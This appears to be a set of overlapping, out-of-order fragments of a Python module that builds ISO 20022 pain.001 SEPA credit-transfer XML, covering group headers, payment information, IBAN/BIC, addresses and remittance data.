child_value=ctransfer.debtor.name) transaction_information['creditor_agent'] = construct_bic(transaction.creditor, 'CdtrAgt')", "= add_simple_child(construct_tag_data('Id'), 'iban', 'IBAN', [], account.iban) return iban_data def construct_bic(account,", "child_value=transaction.purpose) rmt_tp = construct_tag_data('Tp') rmt_tp['code_or_property'] = add_simple_child(data=construct_tag_data('CdOrPrtry'), child_friendly_name='code', child_tag_name='Cd', child_value='SCOR')", "transaction_information['purpose'] = add_simple_child(data=construct_tag_data('Purp'), child_friendly_name='code', child_tag_name='Cd', child_value=transaction.ext_purpose) if not transaction.use_structured: transaction_information['remote_inf']", "def construct_iban(account, tag_name): iban_data = construct_tag_data(tag_name) iban_data['id'] = add_simple_child(construct_tag_data('Id'), 'iban',", "construct_address_data(account, tag_name): addr_data = construct_tag_data(tag_name) addr_data['name'] = construct_tag_data('Nm', value=account.name) if", "def construct_transaction_data(ctransfer, transaction): transaction_information = construct_tag_data('CdtTrfTxInf') transaction_information['_sorting'] = ['PmtId', 'Amt',", "value=ctransfer.get_num_of_transactions()) payment_inf['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) payment_instruction = construct_tag_data('PmtTpInf') payment_instruction['_sorting'] =", "% (account.postcode, account.city)) addr_data['address'] = address return addr_data def construct_transaction_data(ctransfer,", "= ['PmtId', 'Amt', 'ChrgBr', 'UltmtDbtr', 'CdtrAgt', 'Cdtr', 'CdtrAcct', 'UltmtCdtr', 'Purp',", "= construct_tag_data('PmtInf') payment_inf['_sorting'] = ['PmtInfId', 'PmtMtd', 'BtchBookg', 'NbOfTxs', 'CtrlSum', 'PmtTpInf',", "for i, payment in enumerate(ctransfer.transactions): transfer_information = construct_transaction_data(ctransfer, payment) payment_inf['transfer_no_%s'", "construct_tag_data('PmtInfId', value=ctransfer.payment_id) payment_inf['payment_method'] = construct_tag_data('PmtMtd', value='TRF') payment_inf['batch'] = construct_tag_data('BtchBookg', value=str(ctransfer.batch).lower())", "payment_instruction['priority'] = construct_tag_data('InstrPrty', value='NORM') payment_instruction['service_level'] = add_simple_child(construct_tag_data('SvcLvl'), 'code', 'Cd', [],", "construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) header['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) header['initiating_party'] = add_simple_child(construct_tag_data('InitgPty'), 'name',", "= add_simple_child(data=construct_tag_data('Purp'), child_friendly_name='code', child_tag_name='Cd', child_value=transaction.ext_purpose) if not transaction.use_structured: transaction_information['remote_inf'] =", "payment_inf['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') for i, payment in enumerate(ctransfer.transactions): transfer_information", "rmt_inf_strd = add_simple_child(data=construct_tag_data('Strd'), child_friendly_name='additional_info', child_tag_name='AddtlRmtInf', child_value=transaction.purpose) rmt_tp = construct_tag_data('Tp') rmt_tp['code_or_property']", "'CdtrAcct', 'UltmtCdtr', 'Purp', 'RmtInf'] transaction_information['payment_id'] = add_simple_child( data=add_simple_child(data=construct_tag_data('PmtId', sorting=['InstrId', 'EndToEndId']),", "'Cdtr') transaction_information['creditor_account'] = construct_iban(transaction.creditor, 'CdtrAcct') if transaction.creditor.use_ultimate: transaction_information['ultimate_creditor'] = add_simple_child(data=construct_tag_data('UltmtCdtr'),", "construct_document(ctransfer): root = construct_tag_data('Document', [('xmlns', 'urn:iso:std:iso:20022:tech:xsd:pain.001.001.03')]) message = construct_tag_data('CstmrCdtTrfInitn') message['_sorting']", "else: rmt_inf = construct_tag_data('RmtInf') rmt_inf_strd = add_simple_child(data=construct_tag_data('Strd'), child_friendly_name='additional_info', child_tag_name='AddtlRmtInf', child_value=transaction.purpose)", "= rmt_inf return transaction_information def construct_payment_information(ctransfer): payment_inf = construct_tag_data('PmtInf') payment_inf['_sorting']", "= add_simple_child(data=construct_tag_data('UltmtCdtr'), child_friendly_name='name', child_tag_name='Nm', child_value=transaction.creditor.name) transaction_information['purpose'] = add_simple_child(data=construct_tag_data('Purp'), child_friendly_name='code', child_tag_name='Cd',", "rmt_tp['code_or_property'] = add_simple_child(data=construct_tag_data('CdOrPrtry'), child_friendly_name='code', child_tag_name='Cd', child_value='SCOR') rmt_creditor_ref_inf = add_simple_child(data=construct_tag_data('CdtrRefInf'), child_friendly_name='reference',", "= add_simple_child(data=construct_tag_data('RmtInf'), child_friendly_name='unstructured', child_tag_name='Ustrd', child_value=transaction.purpose) else: rmt_inf = construct_tag_data('RmtInf') rmt_inf_strd", "attrs=None, value=None, sorting=None): data = { '_name': tag_name, '_attrs': attrs", "add_simple_child(data=construct_tag_data('RmtInf'), child_friendly_name='unstructured', child_tag_name='Ustrd', child_value=transaction.purpose) else: rmt_inf = construct_tag_data('RmtInf') rmt_inf_strd =", "construct_tag_data('PmtTpInf') payment_instruction['_sorting'] = ['InstrPrty', 'SvcLvl'] payment_instruction['priority'] = construct_tag_data('InstrPrty', value='NORM') payment_instruction['service_level']", "child_value=transaction.ext_purpose) if not transaction.use_structured: transaction_information['remote_inf'] = add_simple_child(data=construct_tag_data('RmtInf'), child_friendly_name='unstructured', child_tag_name='Ustrd', child_value=transaction.purpose)", "header['creation_date_time'] = construct_tag_data('CreDtTm', value=ctransfer.timestamp) header['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) header['control_sum'] =", "bic_data def construct_address_data(account, tag_name): addr_data = construct_tag_data(tag_name) addr_data['name'] = construct_tag_data('Nm',", "construct_tag_data('Ctry', value=account.country) if account.street: address['addr_line_1'] = construct_tag_data('AdrLine', value=account.street) if account.postcode", "data def add_simple_child(data, child_friendly_name, child_tag_name, child_attrs=None, child_value=None): data[child_friendly_name] = construct_tag_data(child_tag_name,", "and account.city: address['addr_line_2'] = construct_tag_data('AdrLine', value=\"%s %s\" % (account.postcode, account.city))", "child_friendly_name='code', child_tag_name='Cd', child_value=transaction.ext_purpose) if not transaction.use_structured: transaction_information['remote_inf'] = add_simple_child(data=construct_tag_data('RmtInf'), child_friendly_name='unstructured',", "[], '_value': value, } if sorting: data['_sorting'] = sorting return", "= sorting return data def add_simple_child(data, child_friendly_name, child_tag_name, child_attrs=None, child_value=None):", "child_attrs=None, child_value=None): data[child_friendly_name] = construct_tag_data(child_tag_name, child_attrs, child_value) return data def", "[('xmlns', 'urn:iso:std:iso:20022:tech:xsd:pain.001.001.03')]) message = construct_tag_data('CstmrCdtTrfInitn') message['_sorting'] = ['GrpHdr', 'PmtInf'] message['header']", "= construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) header['initiating_party'] = add_simple_child(construct_tag_data('InitgPty'), 'name', 'Nm', [], ctransfer.debtor.name)", "= rmt_tp rmt_inf_strd['creditor_ref_information'] = rmt_creditor_ref_inf rmt_inf['structured'] = rmt_inf_strd transaction_information['remote_inf'] =", "[], account.iban) return iban_data def construct_bic(account, tag_name): bic_data = construct_tag_data(tag_name)", "transaction_information = construct_tag_data('CdtTrfTxInf') transaction_information['_sorting'] = ['PmtId', 'Amt', 'ChrgBr', 'UltmtDbtr', 'CdtrAgt',", "'BtchBookg', 'NbOfTxs', 'CtrlSum', 'PmtTpInf', 'ReqdExctnDt', 'Dbtr', 'DbtrAcct', 'DbtrAgt', 'ChrgBr', 'CdtTrfTxInf']", "'CreDtTm', 'NbOfTxs', 'CtrlSum', 'InitgPty'] header['message_id'] = construct_tag_data('MsgId', value=ctransfer.uuid) header['creation_date_time'] =", "account.iban) return iban_data def construct_bic(account, tag_name): bic_data = construct_tag_data(tag_name) bic_data['financial_instrument_id']", "construct_tag_data('CreDtTm', value=ctransfer.timestamp) header['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) header['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum())", "account.street: address['addr_line_1'] = construct_tag_data('AdrLine', value=account.street) if account.postcode and account.city: address['addr_line_2']", "return payment_inf def construct_document(ctransfer): root = construct_tag_data('Document', [('xmlns', 'urn:iso:std:iso:20022:tech:xsd:pain.001.001.03')]) message", "'Cdtr', 'CdtrAcct', 'UltmtCdtr', 'Purp', 'RmtInf'] transaction_information['payment_id'] = add_simple_child( data=add_simple_child(data=construct_tag_data('PmtId', sorting=['InstrId',", "construct_tag_data(tag_name) addr_data['name'] = construct_tag_data('Nm', value=account.name) if account.has_address(): address = construct_tag_data('PstlAdr')", "address return addr_data def construct_transaction_data(ctransfer, transaction): transaction_information = construct_tag_data('CdtTrfTxInf') transaction_information['_sorting']", "payment_inf def construct_document(ctransfer): root = construct_tag_data('Document', [('xmlns', 'urn:iso:std:iso:20022:tech:xsd:pain.001.001.03')]) message =", "child_friendly_name='amount', child_tag_name='InstdAmt', child_attrs=[('Ccy', ctransfer.currency)], child_value=transaction.get_amount()) transaction_information['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') if", "value='NORM') payment_instruction['service_level'] = add_simple_child(construct_tag_data('SvcLvl'), 'code', 'Cd', [], 'SEPA') payment_inf['instruction'] =", "rmt_tp rmt_inf_strd['creditor_ref_information'] = rmt_creditor_ref_inf rmt_inf['structured'] = rmt_inf_strd transaction_information['remote_inf'] = rmt_inf", "'UltmtDbtr', 'CdtrAgt', 'Cdtr', 'CdtrAcct', 'UltmtCdtr', 'Purp', 'RmtInf'] transaction_information['payment_id'] = add_simple_child(", "transaction): transaction_information = construct_tag_data('CdtTrfTxInf') transaction_information['_sorting'] = ['PmtId', 'Amt', 'ChrgBr', 'UltmtDbtr',", "'Amt', 'ChrgBr', 'UltmtDbtr', 'CdtrAgt', 'Cdtr', 'CdtrAcct', 'UltmtCdtr', 'Purp', 'RmtInf'] transaction_information['payment_id']", "child_value='SCOR') rmt_creditor_ref_inf = add_simple_child(data=construct_tag_data('CdtrRefInf'), child_friendly_name='reference', child_tag_name='Ref', child_value=transaction.cref) rmt_creditor_ref_inf['tp'] = rmt_tp", "= construct_tag_data('Document', [('xmlns', 'urn:iso:std:iso:20022:tech:xsd:pain.001.001.03')]) message = construct_tag_data('CstmrCdtTrfInitn') message['_sorting'] = ['GrpHdr',", "= construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) payment_inf['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) payment_instruction = construct_tag_data('PmtTpInf')", "bic_data['financial_instrument_id'] = add_simple_child(construct_tag_data('FinInstnId'), 'bic', 'BIC', [], account.bic) return bic_data def", "= construct_tag_data('RmtInf') rmt_inf_strd = add_simple_child(data=construct_tag_data('Strd'), child_friendly_name='additional_info', child_tag_name='AddtlRmtInf', child_value=transaction.purpose) rmt_tp =", "in enumerate(ctransfer.transactions): transfer_information = construct_transaction_data(ctransfer, payment) payment_inf['transfer_no_%s' % i] =", "enumerate(ctransfer.transactions): transfer_information = construct_transaction_data(ctransfer, payment) payment_inf['transfer_no_%s' % i] = transfer_information", "payment_instruction['_sorting'] = ['InstrPrty', 'SvcLvl'] payment_instruction['priority'] = construct_tag_data('InstrPrty', value='NORM') payment_instruction['service_level'] =", "construct_tag_data('GrpHdr') header['_sorting'] = ['MsgId', 'CreDtTm', 'NbOfTxs', 'CtrlSum', 'InitgPty'] header['message_id'] =", "rmt_creditor_ref_inf = add_simple_child(data=construct_tag_data('CdtrRefInf'), child_friendly_name='reference', child_tag_name='Ref', child_value=transaction.cref) rmt_creditor_ref_inf['tp'] = rmt_tp rmt_inf_strd['creditor_ref_information']", "value=ctransfer.execution_time) payment_inf['debtor'] = construct_address_data(ctransfer.debtor, 'Dbtr') payment_inf['debtor_account'] = construct_iban(ctransfer.debtor, 'DbtrAcct') payment_inf['debtor_agent']", "def construct_address_data(account, tag_name): addr_data = construct_tag_data(tag_name) addr_data['name'] = construct_tag_data('Nm', value=account.name)", "child_value=None): data[child_friendly_name] = construct_tag_data(child_tag_name, child_attrs, child_value) return data def construct_header(ctransfer):", "address = construct_tag_data('PstlAdr') if account.country: address['country'] = construct_tag_data('Ctry', value=account.country) if", "header['message_id'] = construct_tag_data('MsgId', value=ctransfer.uuid) header['creation_date_time'] = construct_tag_data('CreDtTm', value=ctransfer.timestamp) header['num_transactions'] =", "payment_inf['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) payment_instruction = construct_tag_data('PmtTpInf') payment_instruction['_sorting'] = ['InstrPrty',", "= construct_iban(transaction.creditor, 'CdtrAcct') if transaction.creditor.use_ultimate: transaction_information['ultimate_creditor'] = add_simple_child(data=construct_tag_data('UltmtCdtr'), child_friendly_name='name', child_tag_name='Nm',", "'UltmtCdtr', 'Purp', 'RmtInf'] transaction_information['payment_id'] = add_simple_child( data=add_simple_child(data=construct_tag_data('PmtId', sorting=['InstrId', 'EndToEndId']), child_friendly_name='instruction',", "return addr_data def construct_transaction_data(ctransfer, transaction): transaction_information = construct_tag_data('CdtTrfTxInf') transaction_information['_sorting'] =", "= construct_bic(ctransfer.debtor, 'DbtrAgt') payment_inf['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') for i, payment", "'Cd', [], 'SEPA') payment_inf['instruction'] = payment_instruction payment_inf['requested_execution_time'] = construct_tag_data('ReqdExctnDt', value=ctransfer.execution_time)", "'PmtMtd', 'BtchBookg', 'NbOfTxs', 'CtrlSum', 'PmtTpInf', 'ReqdExctnDt', 'Dbtr', 'DbtrAcct', 'DbtrAgt', 'ChrgBr',", "'Nm', [], ctransfer.debtor.name) return header def construct_iban(account, tag_name): iban_data =", "payment_instruction payment_inf['requested_execution_time'] = construct_tag_data('ReqdExctnDt', value=ctransfer.execution_time) payment_inf['debtor'] = construct_address_data(ctransfer.debtor, 'Dbtr') payment_inf['debtor_account']", "['InstrPrty', 'SvcLvl'] payment_instruction['priority'] = construct_tag_data('InstrPrty', value='NORM') payment_instruction['service_level'] = add_simple_child(construct_tag_data('SvcLvl'), 'code',", "add_simple_child(data=construct_tag_data('Amt'), child_friendly_name='amount', child_tag_name='InstdAmt', child_attrs=[('Ccy', ctransfer.currency)], child_value=transaction.get_amount()) transaction_information['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV')", "construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) payment_instruction = construct_tag_data('PmtTpInf') payment_instruction['_sorting'] = ['InstrPrty', 'SvcLvl'] payment_instruction['priority']", "construct_iban(transaction.creditor, 'CdtrAcct') if transaction.creditor.use_ultimate: transaction_information['ultimate_creditor'] = add_simple_child(data=construct_tag_data('UltmtCdtr'), child_friendly_name='name', child_tag_name='Nm', child_value=transaction.creditor.name)", "construct_tag_data('MsgId', value=ctransfer.uuid) header['creation_date_time'] = construct_tag_data('CreDtTm', value=ctransfer.timestamp) header['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions())", "construct_tag_data('ChrgBr', value='SLEV') for i, payment in enumerate(ctransfer.transactions): transfer_information = construct_transaction_data(ctransfer,", "child_tag_name='Nm', child_value=ctransfer.debtor.name) transaction_information['creditor_agent'] = construct_bic(transaction.creditor, 'CdtrAgt') transaction_information['creditor_data'] = construct_address_data(transaction.creditor, 'Cdtr')", "'Dbtr', 'DbtrAcct', 'DbtrAgt', 'ChrgBr', 'CdtTrfTxInf'] payment_inf['payment_id'] = construct_tag_data('PmtInfId', value=ctransfer.payment_id) payment_inf['payment_method']", "bic_data = construct_tag_data(tag_name) bic_data['financial_instrument_id'] = add_simple_child(construct_tag_data('FinInstnId'), 'bic', 'BIC', [], account.bic)", "account.city: address['addr_line_2'] = construct_tag_data('AdrLine', value=\"%s %s\" % (account.postcode, account.city)) addr_data['address']", "attrs or [], '_value': value, } if sorting: data['_sorting'] =", "'SEPA') payment_inf['instruction'] = payment_instruction payment_inf['requested_execution_time'] = construct_tag_data('ReqdExctnDt', value=ctransfer.execution_time) payment_inf['debtor'] =", "= construct_tag_data(tag_name) iban_data['id'] = add_simple_child(construct_tag_data('Id'), 'iban', 'IBAN', [], account.iban) return", "construct_tag_data('BtchBookg', value=str(ctransfer.batch).lower()) payment_inf['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) payment_inf['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum())", "= { '_name': tag_name, '_attrs': attrs or [], '_value': value,", "transaction.creditor.use_ultimate: transaction_information['ultimate_creditor'] = add_simple_child(data=construct_tag_data('UltmtCdtr'), child_friendly_name='name', child_tag_name='Nm', child_value=transaction.creditor.name) transaction_information['purpose'] = add_simple_child(data=construct_tag_data('Purp'),", "child_value=transaction.eref) transaction_information['amount'] = add_simple_child(data=construct_tag_data('Amt'), child_friendly_name='amount', child_tag_name='InstdAmt', child_attrs=[('Ccy', ctransfer.currency)], child_value=transaction.get_amount()) transaction_information['charge_bearer']", "child_tag_name='InstrId', child_value=transaction.uuid), child_friendly_name='eref', child_tag_name='EndToEndId', child_value=transaction.eref) transaction_information['amount'] = add_simple_child(data=construct_tag_data('Amt'), child_friendly_name='amount', child_tag_name='InstdAmt',", "= ['MsgId', 'CreDtTm', 'NbOfTxs', 'CtrlSum', 'InitgPty'] header['message_id'] = construct_tag_data('MsgId', value=ctransfer.uuid)", "construct_tag_data('AdrLine', value=\"%s %s\" % (account.postcode, account.city)) addr_data['address'] = address return", "= add_simple_child(construct_tag_data('FinInstnId'), 'bic', 'BIC', [], account.bic) return bic_data def construct_address_data(account,", "= rmt_inf_strd transaction_information['remote_inf'] = rmt_inf return transaction_information def construct_payment_information(ctransfer): payment_inf", "= construct_address_data(ctransfer.debtor, 'Dbtr') payment_inf['debtor_account'] = construct_iban(ctransfer.debtor, 'DbtrAcct') payment_inf['debtor_agent'] = construct_bic(ctransfer.debtor,", "payment_inf['payment_method'] = construct_tag_data('PmtMtd', value='TRF') payment_inf['batch'] = construct_tag_data('BtchBookg', value=str(ctransfer.batch).lower()) payment_inf['num_transactions'] =", "transaction_information def construct_payment_information(ctransfer): payment_inf = construct_tag_data('PmtInf') payment_inf['_sorting'] = ['PmtInfId', 'PmtMtd',", "= rmt_creditor_ref_inf rmt_inf['structured'] = rmt_inf_strd transaction_information['remote_inf'] = rmt_inf return transaction_information", "'SvcLvl'] payment_instruction['priority'] = construct_tag_data('InstrPrty', value='NORM') payment_instruction['service_level'] = add_simple_child(construct_tag_data('SvcLvl'), 'code', 'Cd',", "if ctransfer.debtor.use_ultimate: transaction_information['ultimate_debtor'] = add_simple_child(data=construct_tag_data('UltmtDbtr'), child_friendly_name='name', child_tag_name='Nm', child_value=ctransfer.debtor.name) transaction_information['creditor_agent'] =", "'BIC', [], account.bic) return bic_data def construct_address_data(account, tag_name): addr_data =", "= payment_instruction payment_inf['requested_execution_time'] = construct_tag_data('ReqdExctnDt', value=ctransfer.execution_time) payment_inf['debtor'] = construct_address_data(ctransfer.debtor, 'Dbtr')", "construct_tag_data('ReqdExctnDt', value=ctransfer.execution_time) payment_inf['debtor'] = construct_address_data(ctransfer.debtor, 'Dbtr') payment_inf['debtor_account'] = construct_iban(ctransfer.debtor, 'DbtrAcct')", "transaction_information['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') if ctransfer.debtor.use_ultimate: transaction_information['ultimate_debtor'] = add_simple_child(data=construct_tag_data('UltmtDbtr'), child_friendly_name='name',", "child_value=ctransfer.debtor.name) transaction_information['creditor_agent'] = construct_bic(transaction.creditor, 'CdtrAgt') transaction_information['creditor_data'] = construct_address_data(transaction.creditor, 'Cdtr') transaction_information['creditor_account']", "child_value=transaction.get_amount()) transaction_information['charge_bearer'] = construct_tag_data('ChrgBr', value='SLEV') if ctransfer.debtor.use_ultimate: transaction_information['ultimate_debtor'] = add_simple_child(data=construct_tag_data('UltmtDbtr'),", "transaction_information['amount'] = add_simple_child(data=construct_tag_data('Amt'), child_friendly_name='amount', child_tag_name='InstdAmt', child_attrs=[('Ccy', ctransfer.currency)], child_value=transaction.get_amount()) transaction_information['charge_bearer'] =", "def construct_payment_information(ctransfer): payment_inf = construct_tag_data('PmtInf') payment_inf['_sorting'] = ['PmtInfId', 'PmtMtd', 'BtchBookg',", "= construct_bic(transaction.creditor, 'CdtrAgt') transaction_information['creditor_data'] = construct_address_data(transaction.creditor, 'Cdtr') transaction_information['creditor_account'] = construct_iban(transaction.creditor,", "data def construct_header(ctransfer): header = construct_tag_data('GrpHdr') header['_sorting'] = ['MsgId', 'CreDtTm',", "transfer_information = construct_transaction_data(ctransfer, payment) payment_inf['transfer_no_%s' % i] = transfer_information return", "ctransfer.debtor.use_ultimate: transaction_information['ultimate_debtor'] = add_simple_child(data=construct_tag_data('UltmtDbtr'), child_friendly_name='name', child_tag_name='Nm', child_value=ctransfer.debtor.name) transaction_information['creditor_agent'] = construct_bic(transaction.creditor,", "if sorting: data['_sorting'] = sorting return data def add_simple_child(data, child_friendly_name,", "'CdtrAgt', 'Cdtr', 'CdtrAcct', 'UltmtCdtr', 'Purp', 'RmtInf'] transaction_information['payment_id'] = add_simple_child( data=add_simple_child(data=construct_tag_data('PmtId',", "= address return addr_data def construct_transaction_data(ctransfer, transaction): transaction_information = construct_tag_data('CdtTrfTxInf')", "child_tag_name='EndToEndId', child_value=transaction.eref) transaction_information['amount'] = add_simple_child(data=construct_tag_data('Amt'), child_friendly_name='amount', child_tag_name='InstdAmt', child_attrs=[('Ccy', ctransfer.currency)], child_value=transaction.get_amount())", "transaction_information['_sorting'] = ['PmtId', 'Amt', 'ChrgBr', 'UltmtDbtr', 'CdtrAgt', 'Cdtr', 'CdtrAcct', 'UltmtCdtr',", "header['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) header['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) header['initiating_party'] =", "construct_tag_data('CstmrCdtTrfInitn') message['_sorting'] = ['GrpHdr', 'PmtInf'] message['header'] = construct_header(ctransfer) message['payment_information'] =", "'CdtrAcct') if transaction.creditor.use_ultimate: transaction_information['ultimate_creditor'] = add_simple_child(data=construct_tag_data('UltmtCdtr'), child_friendly_name='name', child_tag_name='Nm', child_value=transaction.creditor.name) transaction_information['purpose']", "value=ctransfer.get_num_of_transactions()) header['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) header['initiating_party'] = add_simple_child(construct_tag_data('InitgPty'), 'name', 'Nm',", "'code', 'Cd', [], 'SEPA') payment_inf['instruction'] = payment_instruction payment_inf['requested_execution_time'] = construct_tag_data('ReqdExctnDt',", "'ChrgBr', 'UltmtDbtr', 'CdtrAgt', 'Cdtr', 'CdtrAcct', 'UltmtCdtr', 'Purp', 'RmtInf'] transaction_information['payment_id'] =", "account.has_address(): address = construct_tag_data('PstlAdr') if account.country: address['country'] = construct_tag_data('Ctry', value=account.country)", "return data def add_simple_child(data, child_friendly_name, child_tag_name, child_attrs=None, child_value=None): data[child_friendly_name] =", "= add_simple_child(data=construct_tag_data('CdtrRefInf'), child_friendly_name='reference', child_tag_name='Ref', child_value=transaction.cref) rmt_creditor_ref_inf['tp'] = rmt_tp rmt_inf_strd['creditor_ref_information'] =", "payment_inf['_sorting'] = ['PmtInfId', 'PmtMtd', 'BtchBookg', 'NbOfTxs', 'CtrlSum', 'PmtTpInf', 'ReqdExctnDt', 'Dbtr',", "header def construct_iban(account, tag_name): iban_data = construct_tag_data(tag_name) iban_data['id'] = add_simple_child(construct_tag_data('Id'),", "value=\"%s %s\" % (account.postcode, account.city)) addr_data['address'] = address return addr_data", "transaction_information['creditor_account'] = construct_iban(transaction.creditor, 'CdtrAcct') if transaction.creditor.use_ultimate: transaction_information['ultimate_creditor'] = add_simple_child(data=construct_tag_data('UltmtCdtr'), child_friendly_name='name',", "['MsgId', 'CreDtTm', 'NbOfTxs', 'CtrlSum', 'InitgPty'] header['message_id'] = construct_tag_data('MsgId', value=ctransfer.uuid) header['creation_date_time']", "construct_tag_data('PmtMtd', value='TRF') payment_inf['batch'] = construct_tag_data('BtchBookg', value=str(ctransfer.batch).lower()) payment_inf['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions())", "tag_name): addr_data = construct_tag_data(tag_name) addr_data['name'] = construct_tag_data('Nm', value=account.name) if account.has_address():", "if account.has_address(): address = construct_tag_data('PstlAdr') if account.country: address['country'] = construct_tag_data('Ctry',", "child_value=transaction.cref) rmt_creditor_ref_inf['tp'] = rmt_tp rmt_inf_strd['creditor_ref_information'] = rmt_creditor_ref_inf rmt_inf['structured'] = rmt_inf_strd", "add_simple_child(data=construct_tag_data('UltmtDbtr'), child_friendly_name='name', child_tag_name='Nm', child_value=ctransfer.debtor.name) transaction_information['creditor_agent'] = construct_bic(transaction.creditor, 'CdtrAgt') transaction_information['creditor_data'] =", "'InitgPty'] header['message_id'] = construct_tag_data('MsgId', value=ctransfer.uuid) header['creation_date_time'] = construct_tag_data('CreDtTm', value=ctransfer.timestamp) header['num_transactions']", "'_attrs': attrs or [], '_value': value, } if sorting: data['_sorting']", "= construct_tag_data('Nm', value=account.name) if account.has_address(): address = construct_tag_data('PstlAdr') if account.country:", "account.country: address['country'] = construct_tag_data('Ctry', value=account.country) if account.street: address['addr_line_1'] = construct_tag_data('AdrLine',", "child_value) return data def construct_header(ctransfer): header = construct_tag_data('GrpHdr') header['_sorting'] =", "'EndToEndId']), child_friendly_name='instruction', child_tag_name='InstrId', child_value=transaction.uuid), child_friendly_name='eref', child_tag_name='EndToEndId', child_value=transaction.eref) transaction_information['amount'] = add_simple_child(data=construct_tag_data('Amt'),", "child_tag_name='Nm', child_value=transaction.creditor.name) transaction_information['purpose'] = add_simple_child(data=construct_tag_data('Purp'), child_friendly_name='code', child_tag_name='Cd', child_value=transaction.ext_purpose) if not", "payment_inf['batch'] = construct_tag_data('BtchBookg', value=str(ctransfer.batch).lower()) payment_inf['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) payment_inf['control_sum'] =", "= construct_tag_data('PmtTpInf') payment_instruction['_sorting'] = ['InstrPrty', 'SvcLvl'] payment_instruction['priority'] = construct_tag_data('InstrPrty', value='NORM')", "'name', 'Nm', [], ctransfer.debtor.name) return header def construct_iban(account, tag_name): iban_data", "return data def construct_header(ctransfer): header = construct_tag_data('GrpHdr') header['_sorting'] = ['MsgId',", "account.postcode and account.city: address['addr_line_2'] = construct_tag_data('AdrLine', value=\"%s %s\" % (account.postcode,", "transaction_information['remote_inf'] = add_simple_child(data=construct_tag_data('RmtInf'), child_friendly_name='unstructured', child_tag_name='Ustrd', child_value=transaction.purpose) else: rmt_inf = construct_tag_data('RmtInf')", "child_friendly_name, child_tag_name, child_attrs=None, child_value=None): data[child_friendly_name] = construct_tag_data(child_tag_name, child_attrs, child_value) return", "payment_instruction = construct_tag_data('PmtTpInf') payment_instruction['_sorting'] = ['InstrPrty', 'SvcLvl'] payment_instruction['priority'] = construct_tag_data('InstrPrty',", "def add_simple_child(data, child_friendly_name, child_tag_name, child_attrs=None, child_value=None): data[child_friendly_name] = construct_tag_data(child_tag_name, child_attrs,", "construct_tag_data(tag_name) bic_data['financial_instrument_id'] = add_simple_child(construct_tag_data('FinInstnId'), 'bic', 'BIC', [], account.bic) return bic_data", "add_simple_child( data=add_simple_child(data=construct_tag_data('PmtId', sorting=['InstrId', 'EndToEndId']), child_friendly_name='instruction', child_tag_name='InstrId', child_value=transaction.uuid), child_friendly_name='eref', child_tag_name='EndToEndId', child_value=transaction.eref)", "payment_inf['transfer_no_%s' % i] = transfer_information return payment_inf def construct_document(ctransfer): root", "[], ctransfer.debtor.name) return header def construct_iban(account, tag_name): iban_data = construct_tag_data(tag_name)", "payment_inf['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) payment_inf['control_sum'] = construct_tag_data('CtrlSum', value=ctransfer.get_control_sum()) payment_instruction =", "def construct_document(ctransfer): root = construct_tag_data('Document', [('xmlns', 'urn:iso:std:iso:20022:tech:xsd:pain.001.001.03')]) message = construct_tag_data('CstmrCdtTrfInitn')", "= construct_tag_data('InstrPrty', value='NORM') payment_instruction['service_level'] = add_simple_child(construct_tag_data('SvcLvl'), 'code', 'Cd', [], 'SEPA')", "payment_inf['debtor_account'] = construct_iban(ctransfer.debtor, 'DbtrAcct') payment_inf['debtor_agent'] = construct_bic(ctransfer.debtor, 'DbtrAgt') payment_inf['charge_bearer'] =", "value=ctransfer.uuid) header['creation_date_time'] = construct_tag_data('CreDtTm', value=ctransfer.timestamp) header['num_transactions'] = construct_tag_data('NbOfTxs', value=ctransfer.get_num_of_transactions()) header['control_sum']", "construct_iban(account, tag_name): iban_data = construct_tag_data(tag_name) iban_data['id'] = add_simple_child(construct_tag_data('Id'), 'iban', 'IBAN',", "construct_tag_data('AdrLine', value=account.street) if account.postcode and account.city: address['addr_line_2'] = construct_tag_data('AdrLine', value=\"%s", "'Purp', 'RmtInf'] transaction_information['payment_id'] = add_simple_child( data=add_simple_child(data=construct_tag_data('PmtId', sorting=['InstrId', 'EndToEndId']), child_friendly_name='instruction', child_tag_name='InstrId',", "def construct_header(ctransfer): header = construct_tag_data('GrpHdr') header['_sorting'] = ['MsgId', 'CreDtTm', 'NbOfTxs',", "def construct_bic(account, tag_name): bic_data = construct_tag_data(tag_name) bic_data['financial_instrument_id'] = add_simple_child(construct_tag_data('FinInstnId'), 'bic',", "address['addr_line_2'] = construct_tag_data('AdrLine', value=\"%s %s\" % (account.postcode, account.city)) addr_data['address'] =", "tag_name): iban_data = construct_tag_data(tag_name) iban_data['id'] = add_simple_child(construct_tag_data('Id'), 'iban', 'IBAN', [],", "value=account.country) if account.street: address['addr_line_1'] = construct_tag_data('AdrLine', value=account.street) if account.postcode and", "if not transaction.use_structured: transaction_information['remote_inf'] = add_simple_child(data=construct_tag_data('RmtInf'), child_friendly_name='unstructured', child_tag_name='Ustrd', child_value=transaction.purpose) else:", 